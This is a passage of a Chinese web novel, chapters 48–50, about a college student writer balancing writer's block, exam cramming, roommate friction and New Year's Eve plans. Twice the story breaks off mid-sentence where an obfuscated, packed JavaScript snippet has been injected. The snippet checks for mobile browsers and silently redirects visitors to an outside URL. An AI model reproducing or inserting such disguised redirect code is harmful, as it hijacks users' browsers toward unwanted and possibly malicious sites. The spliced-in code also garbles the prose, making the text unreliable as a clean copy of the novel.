烦闷地在网上乱逛,随手点击了一些文章阅读。日更三章,不少于八千字;11天写完一本9万字的畅销小说;著名作家43天写了43万字……这一连串的消息,让我原本紧绷的神经绷得更紧。我在文思泉涌的日子里,也没这么高的效率:写写删删,写了再改,一天最多能写四千字。让自己满意的文字,有些是妙手偶得之,更多是不断打磨,甚至推翻重写。 瓶颈期这个词真是太贴切了,我现在就像被灵感扼住了脖颈,心脏与脑子间的通路被截断,如同没有墨水的钢笔写不出字。 我不知道有没有人跟我一样,写作从纯粹的快乐转向折磨,我被恐慌和无措攫住了。 阅读一直都是我的避难所,这几个月忙着建立新的友情,忙着更新故事,我确实没再亲近阿特伍德、黑塞和托尔斯曼等大师,好几本书在我的阅读清单里躺着。也许,我应该重拾阅读,大量阅读,重塑我的思维框架,再从中提炼抽取内容进行创作。我甚至想是不是应该去打工寻找灵感。只是眼下这些想法只能是躺在计划本里的备选项,迫在眉睫的是如何应对这个交稿日。 彷徨无助中我望向刘小叶,她正趴在床上翻漫画书。羡慕她的无忧无虑。 我暗暗叹气。 刘小叶突然神神秘秘凑了过来,兢兢业业分析可能产生八卦的蛛丝马迹,“小西,我觉得许许最近不太对劲。” 我心不在焉地说:“有什么不对劲?” “她最近每天早出晚归,连饭都不跟我们一起吃了。” “那有什么?月考那个时候她不也废寝忘食,更何况现在临近期末考试了。你别去骚扰她,万一她没考好,你就完蛋了!” 刘小叶想起第一次月考时许苑薇的表现,打了个哆嗦,“我才不去招惹她!等等,你一打岔,我差点跑偏。我觉得许许像恋爱了。” “你会不会想多了。”我不相信她所谓的第六感,“凌静宜最近也很少跟我们一起吃晚饭,每个人都有自己的节奏。” “对哦。”刘小叶若有所思,“你不说我还没觉得,最近她们几个都有点不正常。” 我觉得现在我最不正常,如果再写不出东西,我会更不正常。 “你看,小许许沉迷学业,小宜宜沉迷美色,小陈哥沉迷游戏……” 陈梦晓最近一回宿舍就躲进房间打游戏,凌静宜对这种行为表示鄙视,在她看来任何浪费时间的事情都不可饶恕。 “读书并不比打游戏高尚,都是消遣。别五十步笑百步了。”凌静宜再次谴责陈梦晓堕落,她突然蹦出了这么一句话,获得了我们的一致认同。 面对期末考试,陈梦晓大概是我们当中最轻松的。体育新闻系不用学高数,专业课只开了一门体育新闻概论。除了基础课程要考试之外,体育新闻概论只需要交篇小论文就能过关。她每天有两个小时的游戏时间。 “大型网游有那么好玩吗?怪累的。” 刘小叶嚼着零食嘟囔。她不玩大型网游,唯一玩的是连连看。 刘小叶的脑子里充溢着各种奇思怪想,她认认真真地啃完了鸡爪,突然歪着头提出了一个假想,“小陈哥不会是网恋了吧??!” 我的脸上发烫。其实我偷偷下载了《传世》——简瑞洺公司刚发行的那款游戏,给自己选了个穿着保守高绾发髻的紫衫女侠客。但我从来不在宿舍玩,因为不能让刘小叶知道。她会盯住这条小小的蛛丝马迹,直至挖掘出我玩游戏的原因。想想都可怕。 郑筱仍然经常不在宿舍,我知道她是因为打工,加上这段时间和我们的关系紧张胶着。可刘小叶沉浸在她的粉色童话世界里,言之凿凿地说郑筱肯定有个不想让我们知道的秘密情人。 我对她的想法嗤之以鼻,“全世界在你眼里都在恋爱。” 她非常笃定地认为凌静宜和叶翔假戏真做,理由是最近凌静宜总是神采飞扬,皮肤光滑细致,闪耀着牛奶丝一样的光泽。根据她的经验,那完全是爱情滋润的结果。 对于她的论断,我不置可否。作为资深恋爱人士,她最近的皮肤状态跟我的相差不大,也就是五十步和一百步的差别。让我伤感的是,我是那个一百步。 “你跟欧祈还好吧?” 我突然想起,好像有一段时间没见她像一条软体动物一样扭来扭去得在电话里腻歪。 刘小叶正在撕鱿鱼丝包装袋的手停了一下,快要哭出来了,“欧祈已经好几天没回我微信了,电话也不接。你说他是不是还在生我的气?” 呃……又是我的知识盲区,为什么频频需要 “不会吧?你不是说他马上也要考试了吗?” 她胡乱点点头,恢复了没心没肺的样子,“嗯!等跨年那天跟他当面聊。” 我赶紧埋首码字,跟安慰人比起来,写作是我的舒适区。 这一天快结束了,我敲下最后一行字,按下发送键。透过窗户看着一点点变黑的天空,深深地呼出了一口气。 人生似乎总是一个烦恼接着一个烦恼,一个麻烦跟着一个麻烦,解决完了这个还有那个。它们排着队向我们走来,等待着我们向它们妥协。我们除了硬着头皮强行解决,别无他法。 刘小叶转过头,把手里的零食递给我,“吃吗?这是我最喜欢的味道……” 我接过小果冻,是蓝莓味的。 其实,无论人生有多少麻烦,只要有那么一点点幸福,就足以让我们重新打起精神,遇魔杀魔,遇佛杀佛。 48.第 48 章 铭盛的神奇之处在于:虽然这个学期尤其短暂,但好像该做的事情一件也没有落下。 刘小叶掰着指头数给我们听,凌静宜万分激动地做了总结:“这说明什么?说明时间只要挤一挤,还是有的;目标只要够一够,还是能达成的!” 陈梦晓刚从外面跑步回来,推开门一脸震惊地问:“你们怎么刺激她了?她不会打算去搞传销吧?!” 凌静宜甩了个白眼,“你才搞传销!你全家都搞传销!” 尽管凌静宜对传销行为万分不屑,并不妨碍她对传销里的洗脑模式十分欣赏,声称它绝对是从众心理和认知偏差理论的拥趸,堪称利用人类思维内在缺陷操纵人类行为的典范。 我们都觉得她疯了。 大一上学期即将告罄,我们的生活重心被一个叫做“期末考试”的家伙牢牢占据。往常校园里最有人气的地方诸如食堂情人坡,地位已由图书馆和灯火通明的阶梯教室取而代之。 临近元旦下了一场雨夹雪,整个W市就像一个大冰窖。天空一直阴沉,太阳一连几日都没露脸,似乎随时准备来一场暴风雪。平均气温在零下5度,寒风吹在脸上像刀子割一样疼。如果不是要去复习,我只想待在房间里,把暖气开到最大,把自己裹进厚厚的被子里,睡得天昏地暗。 图书馆大概是除了床之外铭盛最暖和的地方,这让图书馆的红火程度上了一个新台阶,甚至有人6点不到就去排队占位置,简直丧心病狂。我在图书馆里根本没法复习,只能去阶梯教室——寒冷让我清醒。 刘小叶哀怨地看着我,气呼呼地问:“为什么不去图书馆?” 我当然不会告诉她,只要在图书馆里待着,我就会变成一只流着口水的大猩猩,从开馆睡到闭馆。要是让刘小叶知道,那我真的是要一佛升天,二佛入世了。我没搭理她,继续气定神闲慢条斯理地把笔记本收拾好。 在考试之前,我的笔记突然成了香饽饽,一堆人跑来问我借笔记复印。凌静宜挑着眉毛说:“你怎么不跟他们收版权费?”这大概是到目前为止,我听到过的对版权的最大尊重。 “你们去哪儿?”刘小叶狐疑地看着凌静宜。 “你们俩不是去阶梯教室吗?一起去。” 刘小叶像被踩了尾巴一样跳起来,“你……你……你……为什么要跟我们去阶梯教室?” 凌静宜用看傻子的眼光看了她一眼:“我想去阶梯教室不行吗?” 刘小叶一路上都在嘀嘀咕咕,“我是没有办法,如果我不陪小西去的话,她就要一个人去忍受寒冷了。小宜宜你为啥想不开去阶梯教室呢?” 凌静宜装作没听见。 我们三个人坐了两排,我跟刘小叶坐在一排,凌静宜坐在我们前面,说方便讨论。其实,最后我们也没讨论什么,安安静静地看自己的书。 我把课程框架梳理了一遍,回顾了一遍自己的笔记内容,归纳了一些重要的知识点。顺便带着刘小叶梳理了一下微观经济学课程的脉络,“把这些记熟的话,高分虽然没指望,但肯定不会挂科。” “六十分万岁,多一分浪费!”这是刘小叶最新的人生信条,完全无视凌静宜对她的鄙视。 她像发现新大陆一样眼睛闪闪发光,“小西,其实你是学霸吧?” 我无力地看了她一眼,再瞟了瞟坐在那里气定神闲分分钟像要升仙的凌静宜,“你看哪个学霸会在期末半死不活地复习。” 我俩对视了一眼,刘小叶一脸哀怨地看向了凌静宜。 她雷打不动地执行自己的日程表:依然每天6点半开始她仪式一样的护肤流程,依然每天两杯咖啡(其他人已经赶超了她,以每天三杯乃至更多消耗液体能量,迅速透支自己在未来一段时间的精力值。咖啡外送赚得盆满钵满,以至于我每次路过学校那家饮品店都能看见老板娘拉开收银机,笑得合不拢嘴——她上翻着的鲜红牙龈肉清晰可见,面前拉开的收银机究竟每天日结多少不得而知,但肯定收入和她龇开的幅度成正比),依然在固定的时间去跟客户开会,依旧保持做两次瑜伽,甚至依然还在循惯例继续跟叶翔的约会日程,每天依然神采奕奕好像打了鸡血。 再看看我们,顶着硕大的黑眼圈,每天用咖啡和茶叶续命,哈欠连天,一个两个动作迟缓地像是僵尸;我们当中的重度僵尸症候群是许苑薇,她也依旧雷打不动地执行着自己的考期时间表:凌晨5点起床读英文;凌晨6点开始做数学题;8-12点在马克思基本原理的海洋里舍生忘死;下午继续高等数学、线性代数;晚上微观经济学和宏观经济学。 不过,我最羡慕的人并不是凌静宜,而是陈梦晓。她的闭卷考试才三门,当她悠闲地翘着二郎腿在阳台上看书的时候,我和刘小叶咬牙切齿地在跟供求曲线、囚徒困境较劲。 郑筱也停了她的兼职工作。她好像突然从爱丽丝的漫游世界回到了现实当中,早晨在宿舍里看到她时,我和刘小叶恍惚了片刻。此后,她跟许苑薇出现的频率互换,每天早上,看到她坐在课桌前以迷人的姿态轻声朗读英文,我的脑子里总是不由自主浮现出一种“我到底该不该捐助失学儿童”的迷惘感。对我妈捐助的那些偏远山区的儿童,我没有任何实体感。而面对活生生在我面前,每天打N份工的郑筱,我才意识到原来人与人之间是如此的不同。可每次,我想要对她说点什么,她总是转过头避开。这个时候,有个声音在我的耳膜深处大声喊,“你不是圣人!没有人想被施舍!”,“周小西,管好你自己的事情!”。况且,我们还在冷战。准确地说,是她单方面无视我们。 于是,我默默地闭嘴,捏了捏包的一角,默默去阶梯教室复习。 我和刘小叶这段日子的亲密指数达到新高:每天一起去自习,一起吃饭,一起回宿舍,我像猩猩抓虱子一样抚摸她的头发抚慰她的焦虑(当刘小叶把她的爪子伸到我头上的前一秒,我像躲避瘟疫一样躲开了),闲聊一会儿各自睡去。随着考试迫近,彼此之间的关系和氛围充斥着浓郁的学术气息,我们的话题围绕着“你在看微观经济学第几章”,“幂函数导数公式是什么”…… 我们作为新校区的第一届新生,像被流放一样在郊区生活,远离W市的喧嚣繁华。对大学生活应该是什么样的一无所知,既没有前人可做榜样,也没有旁人稍加提点。所谓的自觉已然成了肌肉记忆,我们按照过往形成的既定模式继续学习,丝毫不知道,只有我们宿舍是这样,仿佛异类。别人都在享受他们缤纷美好、无拘无束的大学时光,参加社团,进入学生会,谈恋爱,放肆地消耗青春。 对学生会,我们宿舍没人感兴趣;至于校社联会专门组织为各个社团纳新的那天,我们集体没去。我们在有限的范围内偷点懒,仍然把学习作为首要任务。 后来,我发现:原来挂科天不会塌,尽管需要补考;原来很多人平时都在玩儿,考前两周才开始读书。我有点后悔,参加社团参加活动也算是体验人生吧。 刘小叶哭丧着脸,“也没人告诉我,考上了大学还得拼命读书啊!” “你就当我们考上了哈佛,别人考试前一周可是连睡袋都带到Lamont图书馆,通宵达旦读书备考。是不是一对比,我们这个努力程度是不是不值一提?”许苑薇安慰人的方式一向独辟蹊径。 “那能一样吗?他们可没有经过三年模拟两年高考的痛苦生活,我凭什么要吃两次苦!”刘小叶委屈死了。 许苑薇推了推她圆乎乎的眼镜——我很想上去捏一捏她,自从她换了这副眼镜,配上她圆溜溜的眼睛,真的很像女版哈利波特——非常羡慕地说:“听说Lamont图书馆是24小时开放的,学习氛围得多浓啊。” 刘小叶眼巴巴地望向我,我平静地回复她:“我收拾好书包了,今天去阶二。” 她差点没两眼一翻昏死过去,谁能告诉她,室友都是学习怪兽该怎么办?! 郑筱似乎一直在宿舍煮泡面。凌静宜对宿舍里一股泡面味不满,但也没说什么。在我看来,这算变相讲和。 有一天,我在冰箱里发现有半个馒头,还有两块钱一包的榨菜,用一个回形针夹住撕开的封口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035062|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。晚上自习回来去冰箱拿酸奶,这两样都没了;再往后,冰箱最顶层放着几片干面包,是一大包吃剩下的。 刘小叶在冰箱里找吃的,她拉开冰箱门,把头整个探进去,咋咋呼呼地嚷嚷:“这面包都干巴了,不能吃了吧?我扔掉了啊。” 我们都没在意。直到吃完午饭回宿舍休息,从房间出来的郑筱脸色很难看,“谁把我面包吃了?” “没吃,扔了。”刘小叶一脸惊奇,“那面包好几天了,还能吃吗?” 郑筱一言不发。 “多大事儿啊,我买一包赔给你好了。”刘小叶说。 郑筱脸色苍白,生硬地说:“不用!以后别乱扔我的东西。” 本学期大多数课程结课了。我和刘小叶不用再早起去上高数,可我们还是得早期去占位置。经过几天惨无人道的熬夜复习,我们的神经像是绷到了极限的弹簧,再持续下去难免绷断。 挂不挂科对刘小叶来说似乎不再是最重要的主题,不给自己松松绑,可能没进考场就身先士卒了。 她一大早哭丧着脸,一副要生要死的样子。整个人趴在床上,紧紧裹住被子,像一只庞大的蚕蛹。 “我不起床!这都第几天了,怎么还不考试!!太煎熬了,早点考完不好吗?学校这么折磨人真的对吗?!”她反反复复来来回回念叨。总结来说,主旨就一个,“不想复习,考几分听天由命。只要早点考,早死早超生。” 我叹了口气,长时间没有休息的劳作果然能逼疯任何一个正常人。 “小西,我今天能不能不复习?”她可怜巴巴地说。 “我也想摆烂。”我说。 刘小叶两眼一亮。 “但我更不想补考。” 她捶胸顿足,磨磨蹭蹭还是起了床。 早晨我去洗手间时,郑筱已经洗漱完毕,她穿着白色的毛衣却依然纤细苗条,像夏天里的小白杨。我看了看她包裹在浅蓝色牛仔裤里的两根筷子腿,不动声色地羡慕着。更让我羡慕的是她精神饱满,不像我,仿佛被黑山老妖吸干了精气神,两眼无神,疲惫困顿。 “这样吧,年末和元旦我们各自习半天,好好休息,劳逸结合。”我对磨磨蹭蹭收拾书包的刘小叶说。 刘小叶像中了头奖一样喜笑颜开,在我周围来回蹦跶,“真的吗?真的吗?小西,你说话要算话!我本来还在想,上完自习再去跨年,我会累死的。” 无奈。翻白眼。两手一摊。我想问一问,刘小叶到底是怎么考上大学的?!她仿佛是为我考试。 上完自习,我有点不舒服,刘小叶去食堂吃饭,说吃完帮我带粥回来,我一个人回了宿舍。 郑筱正在换鞋,不知道是刚回来还是准备出去。宿舍里只有我们两个人。 我思忖了片刻,从抽屉里翻出一张纸。听见外面开门的声音,我赶紧跑出去。 郑筱正准备出门,我喊住她,把那张纸往她手里塞,“也许对你有用。” 她一脸迷惘地打开了纸,是家教报名表。 “这家……想给读初中的孩子请一个英文家教……我觉得你比我合适。” 原本想把当家教作为体验生活的起点,我去了学校的家教中心。老师给了我一张申请表,我没填带回来了。 “一个小时120块,每次2小时。年后开始上课,不会耽误你复习的。”生怕她拒绝,我赶紧补充细节。 郑筱的手指蜷缩捏紧,她挤出一个说不上好看的笑容,“谢谢。” 我摆摆手,匆忙跑回房间。关房门时,见她低着头,一动不动站在原地,不知道在想些什么。她抬起头时,有泪有笑。 恍惚间,感触涌上心头:我们是这个宇宙间的一粒微尘,遇到水便是雪花,碰上光便绽放光彩,有不同的际遇。微尘的快乐虽小,却能飞扬向上直达天际。人间值不值得,不是我们所能决定的。也许在生命的大多数时间里,都在两者之间徘徊。可总有一些瞬间,让人间值得。我们能做的,不过倾尽全力,在“值得”这一端停留的时间更多一些。 49.第 49 章 十二月三十一日,本年度的最后一天。 凌静宜穿着野兽派的丝绸睡衣,把空调打到了26度,翻着自己的衣橱,在LV、Armani、Channel和Prada里面挑选战衣,她像是皇帝挑选今夜侍寝的妃嫔一样,挨个审视检阅,拿起这件,放下那件,最后目光停驻在两个风格截然不同的品牌上。 她冲进我房间,拎着一件Prada的连衣裙和一套Channel套装,各自在身上比划了两下,一脸急迫地问:“周小西,你觉得哪一套更好?” 现在是北京时间七点十分。 “你是要去开会吗?”我从电脑里抬起头,瞄了她一眼之后迅速埋头敲字。我在心里叹了口气,十分担心丧心病狂的Jessica下周用董存瑞炸碉堡的状态对我进行狂轰乱炸。下周要考试了,我的精力必须全部放在复习上,写作的时间肯定很有限。 “哦……我要去约会。”她停顿了片刻,说:“按照惯例。” 她扔给我一个“你懂的”的表情,哦,对,今天是周六。我回了她一个“我了解”的肯定眼神。 我们这仿佛地下党接头的沟通方式是怎么回事?我甩甩手,摆脱陷入关注这种无关紧要的细枝末节。 “你们打算干什么?” “我找了个咖啡馆,准备跟他一起做新年计划。” 听上去,是一次不怎么具有吸引力的约会。他们真的不觉得这更像开会而不是约会吗? “哪件更好?”她重复了一遍。 “约会左边,开会右边。”我脑补了上身效果,穿右边那套真的很像去和甲方开会。 “OK,get it.” “所以……你们要在咖啡馆捧着电脑约会?” “当然不……” 她拿着Gillo手账本回来,在我面前一晃。灰蓝色的鳄鱼纹皮封面——摊在我面前,第一页上已经用标准楷体写上了标题 ——我唯一感冒的是她的手账本,这本应该是全球限量本,近四千块的价格。 对于他们这种计划控,我已经见怪不怪。 她和我爸的唯一区别是:她用的是手账本,我爸用的是秘书。 “浪漫吧?” 用手账一起做新年计划,到底浪漫在哪儿?我不理解但表示尊重。 “好了,你忙吧。” 凌静宜回了房间,换上适合开会的那套,走出了宿舍。 随着她拎起包包的一瞬间,阳光从窗户里照射进来,一只玩具熊公仔在空中划出了一道弧度,然后“啪嗒”一下落在了LV包包的侧面。 划上一个最后一个句号,我长长地呼出了一口气。 我盯着自己写的那一行字:究竟谁才是这场游戏里的绝对中心?似乎她和他都是。在我的小说里,不存在性别造成的不平等,女性可以用自己的能力去获得更高的地位。男主角和女主角比肩站立在世界之巅,他们相互尊重,相互成就,各自为了自己的梦想变得更强。在意见不合的时候,没有谁能说服谁,那就打一架,谁打赢了听谁的。 可这是否是我的一厢情愿?看上去势均力敌的两个人,是否会因为性别不同而有完全不同的发展轨迹?真实的世界,似乎性别给人制造的障碍远远大于人本身能够达到的高度。女生在方方面面受限。有的女生穿得稍稍出挑一些,其他人对她的评价就朝着“妖艳贱货”,“小贱人”,“风骚勾引人”去了。我们入学时已是秋天,穿衣夸张不到哪里去,到了夏天还不知是什么光景。 许苑薇总说“女生这么做不太好吧?”,就连大大咧咧的刘小叶都会戴“那个女生穿着那么暴露,难怪被人骂”的有色眼镜。 男生更离谱,他们一方面向女同学借笔记应付考试,另一方面又觉得,女生只不过是靠勤奋,只要他们肯努力,女生别说前三名,连前十都很难进。用他们的话说,女生只有在学校里能出人头地,世界是他们男生的,看看社会上是哪个性别当领导就知道了。 对挑女朋友,他们也有一套奇怪的标准,不喜欢比他们聪明的,更喜欢漂亮乖巧听话的。 凌静宜吐槽:“他们不如买个充气娃娃。” 总而言之,我书写的世界才是我认为应该成为现实的世界。 我伸伸懒腰,捶了捶肩膀和脖子,开始发呆。 现在的生活,有一种不真实的感觉——从前我的生活是寂静的,眼下热闹了起来。刘小叶就不用说了,凌静宜、陈梦晓,全都是E人组合。 在本年度最后一天写完了全文,这一个系列的连载结束了。我重重吐出一口气,尽管还有期末考这把达摩克里斯悬着,但眼下我可以稍稍地放松片刻。 为了保证新年有一个美好的开始,我提前交了稿,并准备在邮件里告诉Jessica这个故事已完结,接下来的一段时间没有更新,我们可以愉快地彼此不打扰。其实原本我想告诉她我要期末考试了,抽不出时间,转念一想,这样会暴露我的学生身份,不如不说。 用什么理由才显得我不是在逃避,而是为新故事在积蓄力量呢?这个理由要看上去合理且有说服力,这样《N.Z》和Jessica才不会继续追杀我。通过这段时间的沟通,我对我的编辑Jessica有了一些了解,她热情洋溢但龟毛。 ——终于完结了,我想要休息一段时间。 ——这个故事结束了,我需要一段时间思考新的故事灵感。 “一段时间是多久?” “下一本打算什么时候开始?” “对新故事有概念和想法了吗?” “不然我们讨论下新故事的连载计划?” Jessica大概率会追问,不然还是告诉她本故事完结,别的就不说了吧。 我拿起扔在电脑旁边的手机,萧楠的微信消息“今晚有安排吗”,在手机屏上占据了最刺眼的位置。叹了口气,托住脑袋,我从来没学会怎么样优雅地拒绝别人……好吧,连尖锐地拒绝也没学会。 如果非要在萧楠追求和Jessica追稿中选择的话,我会毫不犹豫冲向后者。 我在新邮件界面刚写下“Dear Jessica,最后章节已发送,故事完结”,手机响了,一个陌生号码。大概是讨厌的推销电话。我不办信用卡,也不租房子,更不考虑沿街店铺买卖,于是我干脆利索挂断了。然后,把它往床上一扔。 拿起之前读了三分之一的《南方高速》翻了两页,脑子里盘旋着“如果万事万物到头来都指向一处呢”,心思繁杂,读不下去。 即将是新的一年,我却陷入了迷茫,除了学习、写作之外,我还要做些什么呢? 十分好奇凌静宜如何做新年计划,好想翻看她每一年在本子上写了些什么,是不是每一年都按照她的计划有条不紊地向前推进。 计划和愿望最大的不同是,计划需要有目标、实施步骤和实现时间,它更像是一个项目;而愿望就轻松得多,更像是彩蛋,是对未来的期盼,却不对其实现负责。 我不是计划型人,即使是写作,也是信马由缰,由灵感牵引,写到哪儿是哪儿。至于新年愿望,我从来都是在脑子里想一想,把自己的憧憬和愿望写下来,显得过于刻意和隆重。可眼下,我却想把它写下来。 李离送过我一本很好看的笔记本,我大概把它塞在抽屉最底层了。我拉开抽屉,果然,在靠抽屉右侧最下面那层找到了那本青草绿的本子。 翻开扉页,上面有李离写的赠言“小西,每天都要开心哦”,我给她发了条微信,“你准备怎么跨年?” 她回得很快,“当然是吃喝玩乐,跟朋友们一起倒数!你也一样吧?” “嗯。玩得开心。” 我写下新年愿望:考试顺利通过,好好休息一个月,新的小说继续受欢迎,友情长久!然后珍重地把它放回抽屉,仿佛这样能保证我的愿望成真。 忙完这一切,才不过九点半。难怪成功人士都爱早起,早晨的三个小时干完了一整天最重要的任务,成就感满满。 我喊刘小叶起床,根据更改后的复习计划,我们今天只复习四小时,早上十点到下午三点,中间留一小时吃饭。 刘小叶揉了揉眼睛,打着哈欠迷迷瞪瞪地问:“几点了?怎么又要起床了?” “赶紧起来,复习完你不还有约会吗?” 她闻言猛地从床上弹起来,冲去了卫生间。 刘小叶早就跟欧祈约好了要一起跨年,这是她最近勉强支撑复习的动力。 中午照旧只有我们两个人吃饭。 许苑薇和郑筱一大早就出门了。许苑薇毫无悬念,一如既往准备去图书馆学习——大家都知道每次考试之前她都异常紧张,恨不得争分夺秒;郑筱跟我们的关系缓和了一点,她出门时穿得偏正式,我猜应该是面试家教了。 凌静宜约完之后就回家,她家雷打不动的跨年晚宴,全家要在一起跨年;陈梦晓去打篮球了,她让我们不用等她吃午饭,说她准备吃了匹萨后再回宿舍打游戏——她这个过节方式很不E人。 三点一到,刘小叶合上了微观经济学课本,收拾要在外过夜的衣服和洗漱用品,她扭扭捏捏地问:“小西,你说我带哪套睡衣比较好?” 她把三套睡衣铺在床上,一套是斑点奶牛图案,一套是小碎花,还有一套是卡通小鸭子,其实在我看来没啥差别。我随手指了指那件小碎花的,其余两套更幼稚。 “会不会太素了啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046371|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我低头看了看自己身上的米色睡衣,唯一的装饰物是门襟和袖口镶的黑条。如果她那身小碎花称为素净,那我这身纯色该称为什么呢,寡淡? 她纠结了片刻,决定接受我的建议,她把碎花睡衣裹成一团,塞进了背包。 刘小叶走了之后,宿舍里很安静,我享受一个人的宁静。平时嘈杂的声响褪去,渐渐沉浸在《南方高速》的离奇事件中,跟随它体验恐惧与渴望。 我花了一个小时阅读,随后无所事事。 该如何度过跨年夜呢?在我的设想中,要么码字到凌晨——这个想法在我提前写完结局后烟消云散;要么就下载两部电影。最近我爱上了芥末味的坚果,前两天囤了两大袋,对我来说,这一天跟平常的日子没什么不同,吃着喜欢的零食,看两部高质量电影,度过一个静谧的夜晚,不失为完美的过节方式。 从没想过,跨年夜是一个悲喜交加的日子。有些人悲,有些人喜。 陈东尔正一筹莫展,Cone Monster对风致游戏的收购计划受到了前所未有的抵制,鉴于风致公司没上市,通过收购股票实现 至于强制收购也无从下手,风致公司有三个股东:简瑞洺、叶翔和陆亦,其中简瑞洺持股50%,叶翔45%,陆亦持股5%,如果想收购成功,得把简瑞洺和陆亦手里的股份全都收入囊中,而简瑞洺和叶翔明确表示拒绝收购。 跟陈东尔相反,简瑞洺和陆亦的心情很好。不仅仅因为成功抵制了Cone Monster的收购,他们的新游戏上线大卖,持续一周霸榜,今天冲到了畅销游戏榜首,已经收回投资开始盈利,按这个态势,这款游戏会成为公司新的现金兽。 我在《肖申克的救赎》和《死亡诗社》两部中纠结先看那一部,有人大声地推门进来,发出“哐当”一声。以为是小陈哥回来了,我没在意。再一次推门声。刘小叶站在门口,一副要哭不哭的样子。 我诧异地看着她,问:“你不是约了欧祈跨年吗,怎么回来了?忘拿东西了?” 她丢三落四的程度,比李离还夸张。上课不记得带课本,哪天她把自己落在人生地不熟的地方,我也丝毫不会诧异。 “没有……”她的声音蔫蔫的,拖着哭腔。 没等我反应过来,她像颗小炮弹一样冲到我面前,柔软的身体整个挂在了我身上,她把头埋在我右侧锁骨,什么话也不说,只是紧紧地揽住我的背,发出低沉的呜咽声。我举着胳膊,既不敢推开她,也不知道该怎么安慰,浑身僵硬。 过了一会儿,她抬起头,泪眼婆娑。 “小西,你晚上有空吗?” “到底发生什么事情了?欧祈鸽子了?” 她扁着嘴,可怜兮兮地哭诉:“我给他打电话,他一直不接……” “可能在忙没看见,你们约了几点?” “可是他从圣诞节后就没再找过我,对我态度很冷淡。” 这个欧祈到底怎么回事,我特别讨厌别人背弃承诺,负分。我要撺掇刘小叶不要那么快原谅他。 刘小叶掏出手机,点开“我的猪猪”对话框,全都是她给欧祈发的,对方回得很少,不是“嗯”就是“哦”,或者“好”。 “他以前不是这样的。”她接着往前翻,你来我往,除了有甜蜜的文字,还有各种可爱的emoji。 我的鸡皮疙瘩竖了起来。不顾人死活的小情侣。 “也许……他忙着考试。” 救命啊!!!安慰别人从来不是我的强项。 刘小叶抬起泪眼婆娑的大眼睛,细碎的眼泪沾在她的睫毛上,一闪一闪的。她抽泣着问:“真的吗?” “理工科的考试应该比我们更难吧?你想想,我们为了复习,都成什么鬼样子了……” “你说的也对,可是……” 正当我绞尽脑汁找说辞的时候,电话响了。我看了一眼,陌生的手机号码。我犹豫了片刻,跟之前是同一个号码。心里打鼓,害怕是Jessica的催稿电话。瞄了一眼刘小叶后,我立马决定接电话,面对Jessica总比面对哭泣的刘小叶好。 我站起来一脸严肃地说:“是个很重要的电话,我必须要接!” 刘小叶懂事地点点头,“你先忙……我哭一会儿就好了。” 如果凌静宜在这儿,估计早就看穿我了。我还记得上次撒谎被她抓住的情景,“周小西同学,只要你不说实话,就能扯出一篇小论文,顺带论据和细节。你怎么不去做编剧呢?” 怀着愧疚的心情,我走去了客厅。在按下接听键的那一刻,我大概理解了项羽破釜沉舟的心情——前路未知,后有追稿。一丝微茫的希望从心底升起,如果是垃圾电话就好了! 50.第 50 章 叶翔上午跟凌静宜在咖啡馆头挨着头讨论彼此的新年计划,他幸福得要眩晕过去了。吃完午饭后他还安排了别的节目,原本满心期待,以为两个人会一起跨年。没想到凌静宜说晚上要回家,作为一个实习男友,他现在当然没见家长的资格,只能自己安排活动。为了不让萧楠和陆亦有机会嘲笑他,他打算一个人跨年,毕竟他昨天才刺激过他们俩。 下午回到家百无聊奈,他去了公司。简瑞明果然在公司里。大部分技术开发人员也都在公司,小年轻们有女朋友的不多。对他们而言,跨年夜类似于周五,只是第二天可以休假而已。叶翔迅速投入了工作当中,直到萧楠打电话给他说要组跨年局,他头脑一热答应了。原本想着他家够大,一起打游戏或喝酒聊天都行,后知后觉想到萧楠准要约周小西,那他不跟凌静宜一起跨年就暴露了。 叶翔脑子转得很快,他转头跟简瑞洺说,今天跨年夜,不如早点下班大家去他家聚会。原先简瑞洺不想去,在叶翔极力劝说下同意了。除了有活动的几个人,剩下的十几个男生雀跃不已。 他手里的工作一结束,把家里地址给了简瑞洺就撤了。后者挑了挑眉毛,闹市区别墅,看来自己的合作伙伴果真家底雄厚。 “喂,你好。”我在接电话前清了清嗓子,心想如果是Jessica打来的,我依旧告诉她打错了。 “周小西,你在宿舍里吗?”电话里传来很大的风声,是一个很年轻的男孩子的声音。 “请问你哪位?”我对声音的辨识度跟对人脸的识别能力不相上下,老天爷在这一点没有厚此薄彼。 那头沉默了几秒钟,“我是萧楠,你删了我的号码?” “嗯?那个……”当场被抓包的我差点咬到自己的舌头,“大概……可能……是不小心删掉了。你知道通常不怎么用的号码,最近垃圾电话很多,不注意就删掉了。误删……误删的概率很大。” 七零八落,颠三倒四,要是这段对话出现在我的小说里,情何以堪。 电话那头挫败地叹了口气,沉默中夹杂着裹挟着冰霜的风声,“我应该庆幸你把我的号码拉黑。” 啊!怎么不是垃圾电话!! 我万分尴尬,只想赶紧挂断,“你有什么事儿吗?没什么事的话我挂了。” “等等!”他的口吻急冲冲的,“今天你打算怎么跨年?我们搞了个Party,在叶翔家,一群人一起跨年。跨年夜就应该热闹一点,你说是不是?” 